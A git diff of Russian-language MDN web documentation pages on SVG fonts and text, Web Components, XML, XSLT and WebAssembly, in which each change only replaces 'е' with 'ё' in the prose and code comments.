            Элемент {{ SVGElement("font-face") }} является в SVG эквивалентом объявления шрифта с помощью CSS-свойства @font-face. Он определяет основные свойства финального шрифта, такие как вес, стиль и т. д. В приведенном выше примере, первое и самое важное свойство, которое должно быть определено - это font-family, на значение которого затем можно ссылаться в свойствах CSS и SVG. Атрибуты font-weight и font-style имеют ту же цель, что и соответствующие свойства CSS. Все последующие атрибуты - это команды рендеринга для механизма компоновки шрифтов, задающие, к примеру, какая средняя высота символов направленных вверх или вниз выносных элементов.
            
+
            Элемент {{ SVGElement("font-face") }} является в SVG эквивалентом объявления шрифта с помощью CSS-свойства @font-face. Он определяет основные свойства финального шрифта, такие как вес, стиль и т. д. В приведённом выше примере, первое и самое важное свойство, которое должно быть определено - это font-family, на значение которого затем можно ссылаться в свойствах CSS и SVG. Атрибуты font-weight и font-style имеют ту же цель, что и соответствующие свойства CSS. Все последующие атрибуты - это команды рендеринга для механизма компоновки шрифтов, задающие, к примеру, какая средняя высота символов направленных вверх или вниз выносных элементов.
            
 
-
            Дочерний элемент {{ SVGElement("font-face-src") }} соответствует свойству src для атрибута @font-face в CSS. Вы можете указать внешние источники для определения шрифтов с помощью элементов {{ SVGElement("font-face-name") }} и {{ SVGElement("font-face-uri") }}. В приведенном выше примере указано, что если у рендерера имеется локальный доступный шрифт с именем «Super Sans Bold», он должен использовать его.
            
+
            Дочерний элемент {{ SVGElement("font-face-src") }} соответствует свойству src для атрибута @font-face в CSS. Вы можете указать внешние источники для определения шрифтов с помощью элементов {{ SVGElement("font-face-name") }} и {{ SVGElement("font-face-uri") }}. В приведённом выше примере указано, что если у рендерера имеется локальный доступный шрифт с именем «Super Sans Bold», он должен использовать его.
            
 
 
            Следующий элемент за {{ SVGElement("font-face-src") }} - это {{ SVGElement("missing-glyph") }}. Он определяет, что должно отображаться, если символ в шрифте не был найден и если нет запасного варианта. Он также показывает, как создаются глифы: добавлением в него любого графического контента SVG. В нем вы можете использовать буквально любые элементы SVG, даже {{ SVGElement("filter") }}, {{ SVGElement("a") }} или {{ SVGElement("script") }}. Однако для простых глифов вы можете просто добавить атрибут d - он определяет форму для глифа точно так же, как работают стандартные пути SVG.
            
 
-
            Сами глифы затем определяются элементами {{ SVGElement("glyph") }}. Наиболее важным атрибутом является unicode. Он определяет код кодировки unicode, представленный этим символом. Если вы указываете атрибут {{htmlattrxref("lang")}} на глифе, вы можете дополнительно ограничить его определенными языками (представленными xml:lang). Вы можете использовать произвольный SVG для определения глифа, и это позволит вам создать замечательные эффекты.
            
+
            Сами глифы затем определяются элементами {{ SVGElement("glyph") }}. Наиболее важным атрибутом является unicode. Он определяет код кодировки unicode, представленный этим символом. Если вы указываете атрибут {{htmlattrxref("lang")}} на глифе, вы можете дополнительно ограничить его определёнными языками (представленными xml:lang). Вы можете использовать произвольный SVG для определения глифа, и это позволит вам создать замечательные эффекты.
            
  
            
- Есть еще два элемента, которые могут быть определены внутри шрифта: {{ SVGElement("hkern") }} и {{ SVGElement("vkern") }}. Каждый из них содержит ссылки не менее чем на два символа (атрибуты u1 и u2) и атрибут k, который определяет, на сколько должно быть уменьшено расстояние между этими символами. Ниже показан пример инструкции размещения символов «A» и «V» на стандартном расстоянии.
            
+ Есть ещё два элемента, которые могут быть определены внутри шрифта: {{ SVGElement("hkern") }} и {{ SVGElement("vkern") }}. Каждый из них содержит ссылки не менее чем на два символа (атрибуты u1 и u2) и атрибут k, который определяет, на сколько должно быть уменьшено расстояние между этими символами. Ниже показан пример инструкции размещения символов «A» и «V» на стандартном расстоянии.
            
 
 
            <hkern u1="A" u2="V" k="20" />
 
            
diff --git a/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html
index 7f993c7bf8..a897157fb4 100644
--- a/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html
+++ b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html
@@ -55,7 +55,7 @@ translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction
 
 
            Примечание
            
 
-
            В примере представлен обычный XHTML, CSS и JavaScript код. Здесь есть лишь одна особенность, это наличие SVG элемента. Этот элемент объявлен в специальном пространстве имен SVG, содержит градиент и две фигуры заполненные градиентом. По замыслу, когда пользователь введет что-нибудь неправильное, то скрипт установит для BODY класс .invalid, где правила стиля изменяют цвет градиента и делают видимым сообщение об ошибке.
            
+
            В примере представлен обычный XHTML, CSS и JavaScript код. Здесь есть лишь одна особенность, это наличие SVG элемента. Этот элемент объявлен в специальном пространстве имён SVG, содержит градиент и две фигуры заполненные градиентом. По замыслу, когда пользователь введёт что-нибудь неправильное, то скрипт установит для BODY класс .invalid, где правила стиля изменяют цвет градиента и делают видимым сообщение об ошибке.
            
 
 
            Такой способ имеет следующие пункты в свою пользу:
            
 
@@ -98,7 +98,7 @@ img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png");
 
 
            slice - тоже сохраняет пропорции, но масштабирует по максимальной границе области просмотра, обрезая часть изображения, которая не поместилась в область
            
 
-
            Также есть спецификатор none который означает, что изображение заполнит область путем масштабирования сторон, не сохраняя пропорции (растянет).
            
+
            Также есть спецификатор none который означает, что изображение заполнит область путём масштабирования сторон, не сохраняя пропорции (растянет).
            
 
 
             preserveAspectRatio="none"
            
 
@@ -109,7 +109,7 @@ img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png");
 
 
 
             
            
diff --git a/files/ru/web/svg/tutorial/texts/index.html b/files/ru/web/svg/tutorial/texts/index.html
index 1083b55a4d..a4e0a76305 100644
--- a/files/ru/web/svg/tutorial/texts/index.html
+++ b/files/ru/web/svg/tutorial/texts/index.html
@@ -38,22 +38,22 @@ translation_of: Web/SVG/Tutorial/Texts
 
            Элемент tspan имеет следующие атрибуты:
            
  
            
  x
            
- Задает новую координату по Х (аналогично абсолютному позиционированию в CSS) для вложенного текста. Что перезаписывает, установленную по умолчанию позицию. Атрибут может также содержать набор чисел, которые поочередно применяются к каждому символу tspan.
            
+ Задаёт новую координату по Х (аналогично абсолютному позиционированию в CSS) для вложенного текста. Что перезаписывает, установленную по умолчанию позицию. Атрибут может также содержать набор чисел, которые поочерёдно применяются к каждому символу tspan.
            
 
 
            dx
            
- Задает смещение по горизонтали dx относительно текущей позиции. Здесь вы также можете задавать набор значений, которые последовательно применяются к каждому символу, устанавливая смещение относительно предыдущего.
            
+ Задаёт смещение по горизонтали dx относительно текущей позиции. Здесь вы также можете задавать набор значений, которые последовательно применяются к каждому символу, устанавливая смещение относительно предыдущего.
            
 
 
            Аналогично, для вертикального перемещения текста имеются y и dy атрибуты.
            
  
            
  rotate
            
- Поворачивает символ на заданный угол. Атрибуту можно задавать набор чисел, которые поочередно применяются к символам. Если количество чисел в наборе меньше чем количество букв, то угол для всех оставшихся символов будет равен последнему значению в наборе.
            
+ Поворачивает символ на заданный угол. Атрибуту можно задавать набор чисел, которые поочерёдно применяются к символам. Если количество чисел в наборе меньше чем количество букв, то угол для всех оставшихся символов будет равен последнему значению в наборе.
            
  
            
  textLength
            
- Атрибут строго задает длину строки. Он предназначен для того, чтобы механизм рендеринга мог точно настраивать позиции глифов, когда измеренная длина текста не соответствует той, что указана в атрибуте.
            
+ Атрибут строго задаёт длину строки. Он предназначен для того, чтобы механизм рендеринга мог точно настраивать позиции глифов, когда измеренная длина текста не соответствует той, что указана в атрибуте.
            
 
 
            tref
            
 
-
            Элемент tref позволяет ссылаться на уже существующий текст, эффективно копируя его на свое место. Вы можете использовать атрибут xlink:href чтобы указать на  элемент, текст которого должен быть скопирован. Затем вы можете изменить его стили и внешний вид независимо от источника. 
            
+
            Элемент tref позволяет ссылаться на уже существующий текст, эффективно копируя его на своё место. Вы можете использовать атрибут xlink:href чтобы указать на  элемент, текст которого должен быть скопирован. Затем вы можете изменить его стили и внешний вид независимо от источника. 
            
 
 
            <text id="example">This is an example text.</text>
 
diff --git a/files/ru/web/svg/tutorial/tools_for_svg/index.html b/files/ru/web/svg/tutorial/tools_for_svg/index.html
index 97a63678a3..3962c6a5fe 100644
--- a/files/ru/web/svg/tutorial/tools_for_svg/index.html
+++ b/files/ru/web/svg/tutorial/tools_for_svg/index.html
@@ -17,7 +17,7 @@ translation_of: Web/SVG/Tutorial/Tools_for_SVG
 
 
            Очень важно иметь в инструментарии приличную графическую программу. Inkscape предлагает современную векторную графику с открытым исходным кодом.
            
 
-
            Кроме того, SVG является ее родным форматом. Для хранения специфичных для Inkscape данных, файл SVG расширяется элементами и атрибутами в пользовательском пространстве имен, что не мешает выбрать экспорт и в виде простого SVG.
            
+
            Кроме того, SVG является её родным форматом. Для хранения специфичных для Inkscape данных, файл SVG расширяется элементами и атрибутами в пользовательском пространстве имён, что не мешает выбрать экспорт и в виде простого SVG.
            
 
 
            Adobe Illustrator
            
 
diff --git a/files/ru/web/tutorials/index.html b/files/ru/web/tutorials/index.html
index 2079a9e828..1725d6c1d9 100644
--- a/files/ru/web/tutorials/index.html
+++ b/files/ru/web/tutorials/index.html
@@ -35,7 +35,7 @@ translation_of: Web/Tutorials
  
            HTML5 Tutorials (HTML5 Rocks)
            
  
            Совершите экскурсию в код, который использует возможности HTML5.
            
  
            Semantics in HTML5 (A List Apart)
            
- 
            Изучите рабочую разметку, обеспечивающую обратную совместимость, расширяемую и поддерживающую будущие изменения (совместимость вперед).
            
+ 
            Изучите рабочую разметку, обеспечивающую обратную совместимость, расширяемую и поддерживающую будущие изменения (совместимость вперёд).
            
  
            Canvas Tutorial
            
  
            Узнайте, как рисовать с помощью скриптов, используя элемент canvas.
            
  
            HTML5 Doctor
            
@@ -73,7 +73,7 @@ translation_of: Web/Tutorials
  
            Essential JavaScript Design Patterns (Addy Osmani)
            
  
            Введение в основы шаблонов проектирования JavaScript.
            
  
            The JavaScript Programming Language (YUI Blog)
            
- 
            Douglas Crockford исследует язык, какой он есть сегодня, и как он пришел, чтобы быть.
            
+ 
            Douglas Crockford исследует язык, какой он есть сегодня, и как он пришёл, чтобы быть.
            
  
            Introduction to Object-Oriented JavaScript
            
  
            Узнайте об ООП в JavaScript.
            
 
@@ -93,7 +93,7 @@ translation_of: Web/Tutorials
  
            Learning Advanced JavaScript (John Resig)
            
  
            Гид по "продвинутому" JavaScript от John Resig.
            
  
            Introducing the JavaScript DOM (Elated)
            
- 
            Что такое Document Object Model, и зачем она нужна? Эта статья дает вам постепенное введение в эту мощную способность JavaScript.
            
+ 
            Что такое Document Object Model, и зачем она нужна? Эта статья даёт вам постепенное введение в эту мощную способность JavaScript.
            
  
            An Inconvenient API: The Theory of the DOM (YUI Blog)
            
  
            Douglas Crockford объясняет Document Object Model.
            
  
            Advanced JavaScript (YUI Blog)
            
@@ -112,7 +112,7 @@ translation_of: Web/Tutorials
 
 
            
  
            Exploring ES6 (Dr. Axel Rauschmayer)
            
- 
            Надежная и подробная информация об ECMAScript 2015.
            
+ 
            Надёжная и подробная информация об ECMAScript 2015.
            
  
            JavaScript Videos (GitHub)
            
  
            Видео о JavaScript.
            
 
            
@@ -127,7 +127,7 @@ translation_of: Web/Tutorials
 
 
            
  
            CSS Getting Started
            
- 
            Этот учебник познакомит вас с каскадными таблицами стилей (CSS). Он проведет вас через основные особенности CSS и предложит практические примеры, которые можно попробовать на вашем компьютере.
            
+ 
            Этот учебник познакомит вас с каскадными таблицами стилей (CSS). Он проведёт вас через основные особенности CSS и предложит практические примеры, которые можно попробовать на вашем компьютере.
            
  
            CSS Selector Classes (Wikiversity)
            
  
            Что такое классы в CSS?
            
  
            External CSS (Wikiversity)
            
@@ -154,7 +154,7 @@ translation_of: Web/Tutorials
  
            Progressive Enhancement with CSS (A List Apart)
            
  
            Прогрессивное улучшение в веб-страницы с помощью CSS.
            
  
            Fluid Grids (A List Apart)
            
- 
            Дизайн верстки, который плавно изменяется вместе с размерами окна, основанный на сетке.
            
+ 
            Дизайн вёрстки, который плавно изменяется вместе с размерами окна, основанный на сетке.
            
 
            
 
 
            Продвинутый уровень
            
diff --git a/files/ru/web/web_components/index.html b/files/ru/web/web_components/index.html
index a6b79d100e..55d782175d 100644
--- a/files/ru/web/web_components/index.html
+++ b/files/ru/web/web_components/index.html
@@ -11,7 +11,7 @@ translation_of: Web/Web_Components
 
 
            Как разработчики, все мы знаем, что как можно больше повторного использования кода - хорошая идея. Традиционно это было не так просто для пользовательских структур разметки - подумайте о сложном HTML (и связанном с ним стиле и сценарии), которые вам иногда приходилось писать для визуализации пользовательских элементов управления UI, и о том, как их многократное использование может превратить вашу страницу в беспорядок если вы не будете осторожны.
            
 
-
            Веб-компоненты направлены на решение таких проблем - они состоят из трех основных технологий, которые можно использовать вместе для создания универсальных настраиваемых элементов с инкапсулированной функциональностью, которые можно повторно использовать где угодно, не опасаясь коллизий кода.
            
+
            Веб-компоненты направлены на решение таких проблем - они состоят из трёх основных технологий, которые можно использовать вместе для создания универсальных настраиваемых элементов с инкапсулированной функциональностью, которые можно повторно использовать где угодно, не опасаясь коллизий кода.
            
 
 
              
  
            • Пользовательские элементы: набор API-интерфейсов JavaScript, позволяющих определять пользовательские элементы и их поведение, которые затем можно использовать по желанию в пользовательском интерфейсе.
              • 
@@ -23,7 +23,7 @@ translation_of: Web/Web_Components
 
 
                
  
              1. Создайте класс, в котором вы указываете функциональность своего веб-компонента, используя синтаксис классов ECMAScript 2015 (дополнительную информацию см. в разделе Классы).
                2. 
- 
              2. Зарегистрируйте свой новый настраиваемый элемент с помощью метода {{domxref("CustomElementRegistry.define()")}}, передав ему имя элемента, который будет определен, класс или функцию, в которых указана его функциональность, и, необязательно, от какого элемента он наследуется.
                3. 
+ 
              3. Зарегистрируйте свой новый настраиваемый элемент с помощью метода {{domxref("CustomElementRegistry.define()")}}, передав ему имя элемента, который будет определён, класс или функцию, в которых указана его функциональность, и, необязательно, от какого элемента он наследуется.
                4. 
  
              4. При необходимости прикрепите теневую DOM к настраиваемому элементу с помощью метода {{domxref("Element.attachShadow()")}}. Добавьте дочерние элементы, обработчики событий и т.д. в теневой DOM, используя обычные методы DOM.
                5. 
  
              5. При необходимости определите HTML template, используя {{htmlelement("template")}} и {{htmlelement("slot")}}. Снова используйте обычные методы DOM, чтобы клонировать шаблон и прикрепить его к вашей теневой DOM.
                6. 
  
              6. Используйте свой настраиваемый элемент везде, где хотите, на своей странице, как и любой обычный элемент HTML.
                7. 
@@ -50,7 +50,7 @@ translation_of: Web/Web_Components
  
                {{domxref("Window.customElements")}}
                
  
                Возвращает ссылку на объект CustomElementRegistry.
                
  
                Обратные вызовы жизненного цикла
                
- 
                Специальные колбэк-функции, определенные внутри определения класса настраиваемого элемента, которые влияют на его поведение:
+ 
                Специальные колбэк-функции, определённые внутри определения класса настраиваемого элемента, которые влияют на его поведение:
  
                  
   
                • connectedCallback: вызывается, когда настраиваемый элемент впервые подключается к DOM документа.
                  • 
   
                • disconnectedCallback: вызывается, когда пользовательский элемент отключается от DOM документа.
                  • 
@@ -62,13 +62,13 @@ translation_of: Web/Web_Components
  
                  
  
                    
   
                  • Глобальный атрибут HTML {{htmlattrxref("is")}}: позволяет указать, что стандартный элемент HTML должен вести себя как зарегистрированный встроенный пользовательский элемент.
                    • 
-  
                  • Параметр «is» метода {{domxref("Document.createElement()")}}: позволяет создать экземпляр стандартного HTML-элемента, который ведет себя как заданный зарегистрированный настраиваемый встроенный элемент.
                    • 
+  
                  • Параметр «is» метода {{domxref("Document.createElement()")}}: позволяет создать экземпляр стандартного HTML-элемента, который ведёт себя как заданный зарегистрированный настраиваемый встроенный элемент.
                    • 
  
                  
  
                  
  
                  Псевдоклассы CSS
                  
  
                  Псевдоклассы, относящиеся конкретно к настраиваемым элементам:
  
                    
-  
                  • {{cssxref(":defined")}}: Соответствует любому заданному элементу, включая встроенные элементы и настраиваемые элементы, определенные с помощью CustomElementRegistry.define().
                    • 
+  
                  • {{cssxref(":defined")}}: Соответствует любому заданному элементу, включая встроенные элементы и настраиваемые элементы, определённые с помощью CustomElementRegistry.define().
                    • 
   
                  • {{cssxref(":host")}}: Выбирает теневой хост теневого DOM, содержащего CSS, внутри которого он используется.
                    • 
   
                  • {{cssxref(":host()")}}: Выбирает теневой хост теневой DOM, содержащий CSS, внутри которого он используется (так что вы можете выбрать пользовательский элемент изнутри его теневой DOM) - но только если селектор, указанный в качестве параметра функции, совпадает с теневым хостом.
                    • 
   
                  • {{cssxref(":host-context()")}}: Выбирает теневой хост теневой DOM, содержащий CSS, внутри которого он используется (так что вы можете выбрать пользовательский элемент изнутри его теневой DOM) - но только если селектор, указанный в качестве параметра функции, совпадает с предком(-ами) теневого хоста в том месте, где он находится внутри иерархии DOM.
                    • 
@@ -93,14 +93,14 @@ translation_of: Web/Web_Components
  
                    Расширения интерфейса Element, связанные с теневой DOM:
  
                      
   
                    • Метод {{domxref("Element.attachShadow()")}} прикрепляет теневое дерево DOM к указанному элементу.
                      • 
-  
                    • Свойство {{domxref ("Element.shadowRoot")}} возвращает теневой корневой узел, прикрепленный к указанному элементу, или значение null, если корневой узел не прикреплен.
                      • 
+  
                    • Свойство {{domxref ("Element.shadowRoot")}} возвращает теневой корневой узел, прикреплённый к указанному элементу, или значение null, если корневой узел не прикреплен.
                      • 
  
                    
  
                    
  
                    Соответствующие дополнения {{domxref("Node")}}
                    
  
                    Дополнения к интерфейсу Node, относящиеся к теневой DOM:
  
                      
   
                    • Метод {{domxref("Node.getRootNode()")}} возвращает корень объекта контекста, который необязательно включает теневой корневой узел, если он доступен.
                      • 
-  
                    • Свойство {{domxref("Node.isConnected")}} возвращает логическое значение, указывающее, подключен ли узел (прямо или косвенно) к объекту контекста, например объект {{domxref("Document")}} в случае обычного DOM или {{domxref("ShadowRoot")}} в случае теневого DOM.
                      • 
+  
                    • Свойство {{domxref("Node.isConnected")}} возвращает логическое значение, указывающее, подключён ли узел (прямо или косвенно) к объекту контекста, например объект {{domxref("Document")}} в случае обычного DOM или {{domxref("ShadowRoot")}} в случае теневого DOM.
                      • 
  
                    
  
                    
  
                    Расширения {{domxref("Event")}}
                    
@@ -126,7 +126,7 @@ translation_of: Web/Web_Components
  
                    {{domxref("Element")}} extensions
                    
  
                    Расширения интерфейса Element, относящиеся к слотам:
  
                      
-  
                    • {{domxref("Element.slot")}}: Возвращает имя слота теневого DOM, прикрепленного к элементу.
                      • 
+  
                    • {{domxref("Element.slot")}}: Возвращает имя слота теневого DOM, прикреплённого к элементу.
                      • 
  
                    
  
                    
  
                    Псевдоэлементы CSS
                    
@@ -141,7 +141,7 @@ translation_of: Web/Web_Components
 
 
                    Примеры
                    
 
-
                    Мы создаем ряд примеров в репозитории GitHub с примерами веб-компонентов. Со временем будет добавлено больше.
                    
+
                    Мы создаём ряд примеров в репозитории GitHub с примерами веб-компонентов. Со временем будет добавлено больше.
                    
 
 
                    Спецификации
                    
 
@@ -190,13 +190,13 @@ translation_of: Web/Web_Components
  
                  • Edge работает над реализацией.
                    • 
 
                  
 
-
                  Для получения подробной информации о поддержке определенных функций браузером обратитесь к перечисленным выше справочным страницам.
                  
+
                  Для получения подробной информации о поддержке определённых функций браузером обратитесь к перечисленным выше справочным страницам.
                  
 
 
                  Смотрите также
                  
 
 
                    
  
                  • webcomponents.org - сайт с примерами веб-компонентов, учебными пособиями и другой информацией.
                    • 
- 
                  • FAST - это библиотека веб-компонентов, созданная Microsoft, которая предлагает несколько пакетов для использования в зависимости от потребностей вашего проекта. Fast Element - это легкое средство для простого создания производительных, эффективных с точки зрения памяти и совместимых со стандартами веб-компонентов. Fast Foundation - это библиотека классов, шаблонов и других утилит веб-компонентов, построенная на основе fast-element, предназначенная для создания зарегистрированных веб-компонентов.
                    • 
+ 
                  • FAST - это библиотека веб-компонентов, созданная Microsoft, которая предлагает несколько пакетов для использования в зависимости от потребностей вашего проекта. Fast Element - это лёгкое средство для простого создания производительных, эффективных с точки зрения памяти и совместимых со стандартами веб-компонентов. Fast Foundation - это библиотека классов, шаблонов и других утилит веб-компонентов, построенная на основе fast-element, предназначенная для создания зарегистрированных веб-компонентов.
                    • 
  
                  • Hybrids - библиотека веб-компонентов с открытым исходным кодом, которая предпочитает простые объекты и чистые функции class и this синтаксису. Он предоставляет простой и функциональный API для создания пользовательских элементов.
                    • 
  
                  • Polymer - каркас веб-компонентов Google - набор полифилов, улучшений и примеров. На данный момент самый простой способ кроссбраузерно использовать веб-компоненты.
                    • 
  
                  • Snuggsi - Простые веб-компоненты размером ~ 1 КБ, включая полифил - Все, что вам нужно, это браузер и базовое понимание классов HTML, CSS и JavaScript для продуктивной работы.
                    • 
diff --git a/files/ru/web/web_components/using_custom_elements/index.html b/files/ru/web/web_components/using_custom_elements/index.html
index 01d37d7fe9..d387daf26a 100644
--- a/files/ru/web/web_components/using_custom_elements/index.html
+++ b/files/ru/web/web_components/using_custom_elements/index.html
@@ -43,7 +43,7 @@ original_slug: Web/Web_Components/Использование_пользоват
   }
 }
            
 
-
            Это простой пример, но его можно дополнить. Можно определить специальные lifecycle callbacks, которые будут вызваны в определенные моменты жизненного цикла элемента. Например, connectedCallback будет вызван, когда пользовательский элемент оказывается впервые встроен в DOM, а attributeChangedCallback вызывается, когда пользовательскому элементу добавляют, удаляют или изменяют какой-то атрибут.
            
+
            Это простой пример, но его можно дополнить. Можно определить специальные lifecycle callbacks, которые будут вызваны в определённые моменты жизненного цикла элемента. Например, connectedCallback будет вызван, когда пользовательский элемент оказывается впервые встроен в DOM, а attributeChangedCallback вызывается, когда пользовательскому элементу добавляют, удаляют или изменяют какой-то атрибут.
            
 
 
            Подробнее об этом в секции {{anch("Using the lifecycle callbacks")}} ниже.
            
 
@@ -56,7 +56,7 @@ original_slug: Web/Web_Components/Использование_пользоват
 
 
            Разбор простых примеров
            
 
-
            А сейчас давайте разберем еще несколько простых примеров, иллюстрирующих подробности создания пользовательских элементов.
            
+
            А сейчас давайте разберём ещё несколько простых примеров, иллюстрирующих подробности создания пользовательских элементов.
            
 
 
            Автономные пользовательские элементы
            
 
@@ -77,7 +77,7 @@ original_slug: Web/Web_Components/Использование_пользоват
 
 
            В этом фрагменте кода содержится определение конструктора {{jsxref("Classes.constructor","constructor")}} класса, которое всегда начинается с вызова super() чтобы отработала цепочка прототипного наследования.
            
 
-
            Внутри конструктора мы определяем всю функциональность, которую получит элемент при создании его объекта. В данном случае мы добавляем shadow root к пользовательскому элементу, производим манипуляции с DOM, чтобы создать определенную структуру shadow DOM внутри элемента — которая затем присоединяется к shadow root — и наконец добавляем CSS к shadow root, чтобы задать его стиль.
            
+
            Внутри конструктора мы определяем всю функциональность, которую получит элемент при создании его объекта. В данном случае мы добавляем shadow root к пользовательскому элементу, производим манипуляции с DOM, чтобы создать определённую структуру shadow DOM внутри элемента — которая затем присоединяется к shadow root — и наконец добавляем CSS к shadow root, чтобы задать его стиль.
            
 
 
            // Создание shadow root
 var shadow = this.attachShadow({mode: 'open'});
@@ -91,7 +91,7 @@ icon.setAttribute('tabindex', 0);
 var info = document.createElement('span');
 info.setAttribute('class','info');
 
-// Берем содержимое атрибута и добавляем его в span
+// Берём содержимое атрибута и добавляем его в span
 var text = this.getAttribute('text');
 info.textContent = text;
 
@@ -106,7 +106,7 @@ var img = document.createElement('img');
 img.src = imgUrl;
 icon.appendChild(img);
 
-// Создаем CSS для shadow dom
+// Создаём CSS для shadow dom
 var style = document.createElement('style');
 
 style.textContent = '.wrapper {' +
@@ -119,7 +119,7 @@ shadow.appendChild(wrapper);
 wrapper.appendChild(icon);
 wrapper.appendChild(info);
            
 
-
            Наконец, регистрируем пользовательский элемент в CustomElementRegistry с помощью метода define(), который упоминался ранее — в качестве параметров мы передаем ему имя элемента и имя класса, который содержит его функциональность:
            
+
            Наконец, регистрируем пользовательский элемент в CustomElementRegistry с помощью метода define(), который упоминался ранее — в качестве параметров мы передаём ему имя элемента и имя класса, который содержит его функциональность:
            
 
 
            customElements.define('popup-info', PopUpInfo);
            
 
@@ -164,7 +164,7 @@ wrapper.appendChild(info);
 
 </ul>
 
-
            Вы задаете элемент <ul> как обычно, но указываете имя модифицированного элемента в атрибуте is.
            
+
            Вы задаёте элемент <ul> как обычно, но указываете имя модифицированного элемента в атрибуте is.
            
 
 
            
 
            Замечание: Полный исходный код на JavaScript доступен здесь.
            
@@ -177,7 +177,7 @@ wrapper.appendChild(info);
 
              
  
            • connectedCallback: Срабатывает, когда пользовательский элемент впервые добавляется в DOM.
              • 
  
            • disconnectedCallback: Срабатывает, когда пользовательский элемент удаляется из DOM.
              • 
- 
            • adoptedCallback: Срабатывает, когда пользовательский элемент перемещен в новый документ.
              • 
+ 
            • adoptedCallback: Срабатывает, когда пользовательский элемент перемещён в новый документ.
              • 
  
            • attributeChangedCallback: Срабатывает, когда пользовательскому элементу добавляют, удаляют или изменяют атрибут.
              • 
 
            
 
@@ -216,14 +216,14 @@ shadow.appendChild(div);
   updateStyle(this);
 }
 
-
            колбэки disconnectedCallback() и adoptedCallback() логируют простые сообщения на консоль, которые уведомляют нас, что элемент удален из DOM или перемещен на другую страницу:
            
+
            колбэки disconnectedCallback() и adoptedCallback() логируют простые сообщения на консоль, которые уведомляют нас, что элемент удалён из DOM или перемещён на другую страницу:
            
 
 
            disconnectedCallback() {
   console.log('Пользовательский элемент квадрат удален.');
 }
 
 adoptedCallback() {
-  console.log('Пользовательский элемент квадрат перемещен на другую страницу.');
+  console.log('Пользовательский элемент квадрат перемещён на другую страницу.');
 }
            
 
 
            Колбэк attributeChangedCallback() запускается когда один из атрибутов элемента меняется. Как видно из его свойств, можно воздействовать на индивидуальные атрибуты, глядя на их имена, и новые и старые значения атрибутов. В данном случае, однако, мы просто снова запускаем функцию updateStyle() чтобы убедиться, что атрибуты квадрата получили новые значения:
            
diff --git a/files/ru/web/xml/xml_introduction/index.html b/files/ru/web/xml/xml_introduction/index.html
index ef5b2732a9..f97db1f1cd 100644
--- a/files/ru/web/xml/xml_introduction/index.html
+++ b/files/ru/web/xml/xml_introduction/index.html
@@ -7,7 +7,7 @@ tags:
   - XML
 translation_of: Web/XML/XML_introduction
 ---
-
            XML - это язык разметки подобный HTML. Расшифровывается как (англ. Extensible Markup Language - Расширяемый Язык Разметки) и является рекомендацией сообщества W3C в качестве языка разметки общего назначения (W3C recommended). В отличии от остальных языков разметки, XML сам по себе не определен (это означает, что вы должны сами определять используемые теги). Основной целью XML является передача данных между разными системами (даже концептуально разными), такими как интернет.
            
+
            XML - это язык разметки подобный HTML. Расшифровывается как (англ. Extensible Markup Language - Расширяемый Язык Разметки) и является рекомендацией сообщества W3C в качестве языка разметки общего назначения (W3C recommended). В отличии от остальных языков разметки, XML сам по себе не определён (это означает, что вы должны сами определять используемые теги). Основной целью XML является передача данных между разными системами (даже концептуально разными), такими как интернет.
            
 
 
            Много языков базируются на XML; Некоторые примеры: XHTML, MathML, SVG, XUL, XBL, RSS, и RDF. Вы можете создать свой.
            
 
@@ -49,7 +49,7 @@ translation_of: Web/XML/XML_introduction
 </message>
 
 
-
             Документ содержащий неопределенный тег является не корректным. Например, если мы не определили тег <warning>, документ не корректен.
            
+
             Документ содержащий неопределённый тег является не корректным. Например, если мы не определили тег <warning>, документ не корректен.
            
 
 
            
 
            В большинство браузеров встроен дебаггер, который может идентифицировать плохо написанный XML документ.
            
@@ -100,7 +100,7 @@ translation_of: Web/XML/XML_introduction
 
 
            <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE body [
-  <!ENTITY warning "Предупреждение: произошла ошибка, обновите и попробуте еще раз.">
+  <!ENTITY warning "Предупреждение: произошла ошибка, обновите и попробуте ещё раз.">
 ]>
 <body>
   <message> &warning; </message>
@@ -123,7 +123,7 @@ translation_of: Web/XML/XML_introduction
 
 
            Рекомендации
            
 
-
            Эта статья является очень маленьким введением в XML, с очень маленьким количеством примеров и ссылок для того, чтобы вы могли начать работать с этим языком. Чтобы больше узнать про XML, вам придется искать информацию и более информативные статьи в интернете.
            
+
            Эта статья является очень маленьким введением в XML, с очень маленьким количеством примеров и ссылок для того, чтобы вы могли начать работать с этим языком. Чтобы больше узнать про XML, вам придётся искать информацию и более информативные статьи в интернете.
            
 
 
            Изучайте HTML (англ. HyperText Markup Language), знание HTML поможет вам лучше понять XML.
            
 
diff --git a/files/ru/web/xslt/index.html b/files/ru/web/xslt/index.html
index 9c1d10b3d7..a9cab24eb1 100644
--- a/files/ru/web/xslt/index.html
+++ b/files/ru/web/xslt/index.html
@@ -10,7 +10,7 @@ translation_of: Web/XSLT
 
 
             
            
 
-
            Хотя этот процесс называется «преобразованием», исходный документ не изменяется; скорее новый документ XML создается на основе содержимого существующего документа. Затем новый документ может быть сериализован (выведен) процессором в стандартном синтаксисе XML или в другом формате, таком как HTML или простой текст.
            
+
            Хотя этот процесс называется «преобразованием», исходный документ не изменяется; скорее новый документ XML создаётся на основе содержимого существующего документа. Затем новый документ может быть сериализован (выведен) процессором в стандартном синтаксисе XML или в другом формате, таком как HTML или простой текст.
            
 
 
            XSLT чаще всего используется для преобразования данных между различными схемами XML или для преобразования данных XML в веб-страницы или документы PDF.
            
 
diff --git a/files/ru/webassembly/c_to_wasm/index.html b/files/ru/webassembly/c_to_wasm/index.html
index 7f47e01433..06a835effe 100644
--- a/files/ru/webassembly/c_to_wasm/index.html
+++ b/files/ru/webassembly/c_to_wasm/index.html
@@ -47,7 +47,7 @@ int main(int argc, char ** argv) {
 
            Рассмотрим параметры, которые мы передали компилятору:
            
 
 
              
- 
            • -s WASM=1 — Указывает, что мы хотим получить wasm модуль. Если не использовать этот параметр, по умолчанию Emscripten просто создает  asm.js;
              • 
+ 
            • -s WASM=1 — Указывает, что мы хотим получить wasm модуль. Если не использовать этот параметр, по умолчанию Emscripten просто создаёт  asm.js;
              • 
  
